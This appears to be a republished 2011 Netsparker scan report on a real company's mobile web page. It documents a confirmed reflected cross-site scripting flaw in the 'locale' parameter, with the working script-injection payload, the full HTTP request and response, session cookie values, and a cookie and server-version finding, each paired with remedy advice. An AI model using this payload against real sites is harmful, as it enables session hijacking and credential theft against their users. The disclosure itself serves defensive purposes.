XSS, www.eni.com, GHDB DORK REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.eni.com/mobile/page.do?locale=it_I...
SCAN DATE
5/2/2011 11:55:51 PM
REPORT DATE
5/2/2011 11:57:10 PM
SCAN DURATION
00:00:23

Total Requests

Average Speed

req/sec.
3
identified
2
confirmed
0
critical
0
informational

DORK TESTS

DORK TESTS
PROFILE
Previous Settings
ENABLED ENGINES
Blind SQL Injection, Boolean SQL Injection, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
33 %
LOW
67 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/mobile/page.do locale GET Cross-site Scripting Yes
Cookie Not Marked As HttpOnly Yes
Java Servlet Version Disclosure No
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /mobile/page.do

/mobile/page.do CONFIRMED

http://www.eni.com/mobile/page.do?locale='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00001..

Parameters

Parameter Type Value
locale GET '"--></style></script><script>alert(0x000014)</script>
content GET home

Request

GET /mobile/page.do?locale='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000014)%3C/script%3E&content=home HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.eni.com
Cookie: JSESSIONID=6hvgN1GLGYtgRXFmzhYK2TjqvxDDBjrwJjgl2pz4NhRp384FvyQ9!1487654476; TS782077=dc6803a9894435de761e56b4b47e5ca9bad57592c2133a984dbf4487
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 23:56:07 GMT
Content-Length: 2428
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8







<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<meta http-equiv="cache-control" content="private"/>



<title>Eni mobile - Home Page</title>

<link rel="stylesheet" href="/'"--></style></script><script>netsparker(0x000014)</script>/static/css/mobile/mobile.css" media="screen" />

</head>

<body>







<table cellpadding="0" cellspacing="0" border="0" width="100%" class="border">
<tr>
<td width="70%">
<img src="/'"--></style></script><script>netsparker(0x000014)</script>/www-eni-mobi/static/images/logo.gif" alt="Logo Eni mobile" width="109" height="35" border="0" />
</td>
<td width="30%">
<a href="/mobile/page.do?content=home&locale=it_IT">
Ita</a> |
<a href="/mobile/page.do?content=home&locale=en_IT">
Eng </a>
</td>
</tr>
</table>






















<hr/>

<p style="color:#336699">
<b>Home</b>
|
<a href="/mobile/page.do?locale='"--></style></script><script>netsparker(0x000014)</script>&content=eni-sintesi">eni in sintesi</a>
|
<a href="/mobile/investor.do?locale='"--></style></script><script>netsparker(0x000014)</script>">Investor relations</a>
|
<a href="/mobile/media.do?locale='"--></style></script><script>netsparker(0x000014)</script>">Media</a>
|
<a href="/mobile/job.do?locale='"--></style></script><script>netsparker(0x000014)</script>">Lavora</a>
|
<a href="/mobile/calendar.do?locale='"--></style></script><script>netsparker(0x000014)</script>">Calendar</a>
|
<a href="/mobile/page.do?locale='"--></style></script><script>netsparker(0x000014)</script>&content=contatti">Contatti</a>
|
<a href="/mobile/page.do?locale='"--></style></script><script>netsparker(0x000014)</script>&content=eni-where">Applicazione Mobile</a>

</p>

<p>
<form name="searchForm" method="GET" action="/mobile/search.do">
<input type="text" name="search" size="20" value="">
<input type="hidden" name="locale" value="&#39;&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x000014)&lt;/script&gt;">
<input type="submit" value="Search">
</form>
</p>

<br/>

<hr/>

</body>
</html>




Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /mobile/page.do

/mobile/page.do CONFIRMED

http://www.eni.com/mobile/page.do?locale=it_IT&content=home

Identified Cookie

JSESSIONID

Request

GET /mobile/page.do?locale=it_IT&content=home HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.eni.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 23:55:53 GMT
Cache-Control: no-cache="set-cookie"
Content-Length: 1989
Set-Cookie: JSESSIONID=6hvgN1GLGYtgRXFmzhYK2TjqvxDDBjrwJjgl2pz4NhRp384FvyQ9!1487654476; path=/,TS782077=dc6803a9894435de761e56b4b47e5ca9bad57592c2133a984dbf4487; Path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Keep-Alive: timeout=15, max=256
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8







<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<meta http-equiv="cache-control" content="private"/>



<title>Eni mobile - Home Page</title>

<link rel="stylesheet" href="/it_IT/static/css/mobile/mobile.css" media="screen" />

</head>

<body>







<table cellpadding="0" cellspacing="0" border="0" width="100%" class="border">
<tr>
<td width="70%">
<img src="/it_IT/www-eni-mobi/static/images/logo.gif" alt="Logo Eni mobile" width="109" height="35" border="0" />
</td>
<td width="30%">
<a href="/mobile/page.do?content=home&locale=it_IT">
<b>Ita</b></a> |
<a href="/mobile/page.do?content=home&locale=en_IT">
Eng </a>
</td>
</tr>
</table>











<h2>Benvenuto nella versione Mobile di www.eni.com</h2>










<hr/>

<p style="color:#336699">
<b>Home</b>
|
<a href="/mobile/page.do?locale=it_IT&content=eni-sintesi">eni in sintesi</a>
|
<a href="/mobile/investor.do?locale=it_IT">Investor relations</a>
|
<a href="/mobile/media.do?locale=it_IT">Media</a>
|
<a href="/mobile/job.do?locale=it_IT">Lavora</a>
|
<a href="/mobile/calendar.do?locale=it_IT">Calendar</a>
|
<a href="/mobile/page.do?locale=it_IT&content=contatti">Contatti</a>
|
<a href="/mobile/page.do?locale=it_IT&content=eni-where">Applicazione Mobile</a>

</p>

<p>
<form name="searchForm" method="GET" action="/mobile/search.do;jsessionid=6hvgN1GLGYtgRXFmzhYK2TjqvxDDBjrwJjgl2pz4NhRp384FvyQ9!1487654476">
<input type="text" name="search" size="20" value="">
<input type="hidden" name="locale" value="it_IT">
<input type="submit" value="Search">
</form>
</p>

<br/>

<hr/>

</body>
</html>




Java Servlet Version Disclosure

Java Servlet Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is using Java Servlet. This information was gathered from the HTTP Headers.

Impact

An attacker can look for specific security vulnerabilities for the version disclosed by the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /mobile/page.do

/mobile/page.do

http://www.eni.com/mobile/page.do?locale=it_IT&content=home

Extracted Version

Servlet/2.5

Request

GET /mobile/page.do?locale=it_IT&content=home HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.eni.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 02 May 2011 23:55:53 GMT
Cache-Control: no-cache="set-cookie"
Content-Length: 1989
Set-Cookie: JSESSIONID=6hvgN1GLGYtgRXFmzhYK2TjqvxDDBjrwJjgl2pz4NhRp384FvyQ9!1487654476; path=/,TS782077=dc6803a9894435de761e56b4b47e5ca9bad57592c2133a984dbf4487; Path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Keep-Alive: timeout=15, max=256
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8







<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<meta http-equiv="cache-control" content="private"/>



<title>Eni mobile - Home Page</title>

<link rel="stylesheet" href="/it_IT/static/css/mobile/mobile.css" media="screen" />

</head>

<body>







<table cellpadding="0" cellspacing="0" border="0" width="100%" class="border">
<tr>
<td width="70%">
<img src="/it_IT/www-eni-mobi/static/images/logo.gif" alt="Logo Eni mobile" width="109" height="35" border="0" />
</td>
<td width="30%">
<a href="/mobile/page.do?content=home&locale=it_IT">
<b>Ita</b></a> |
<a href="/mobile/page.do?content=home&locale=en_IT">
Eng </a>
</td>
</tr>
</table>











<h2>Benvenuto nella versione Mobile di www.eni.com</h2>










<hr/>

<p style="color:#336699">
<b>Home</b>
|
<a href="/mobile/page.do?locale=it_IT&content=eni-sintesi">eni in sintesi</a>
|
<a href="/mobile/investor.do?locale=it_IT">Investor relations</a>
|
<a href="/mobile/media.do?locale=it_IT">Media</a>
|
<a href="/mobile/job.do?locale=it_IT">Lavora</a>
|
<a href="/mobile/calendar.do?locale=it_IT">Calendar</a>
|
<a href="/mobile/page.do?locale=it_IT&content=contatti">Contatti</a>
|
<a href="/mobile/page.do?locale=it_IT&content=eni-where">Applicazione Mobile</a>

</p>

<p>
<form name="searchForm" method="GET" action="/mobile/search.do;jsessionid=6hvgN1GLGYtgRXFmzhYK2TjqvxDDBjrwJjgl2pz4NhRp384FvyQ9!1487654476">
<input type="text" name="search" size="20" value="">
<input type="hidden" name="locale" value="it_IT">
<input type="submit" value="Search">
</form>
</p>

<br/>

<hr/>

</body>
</html>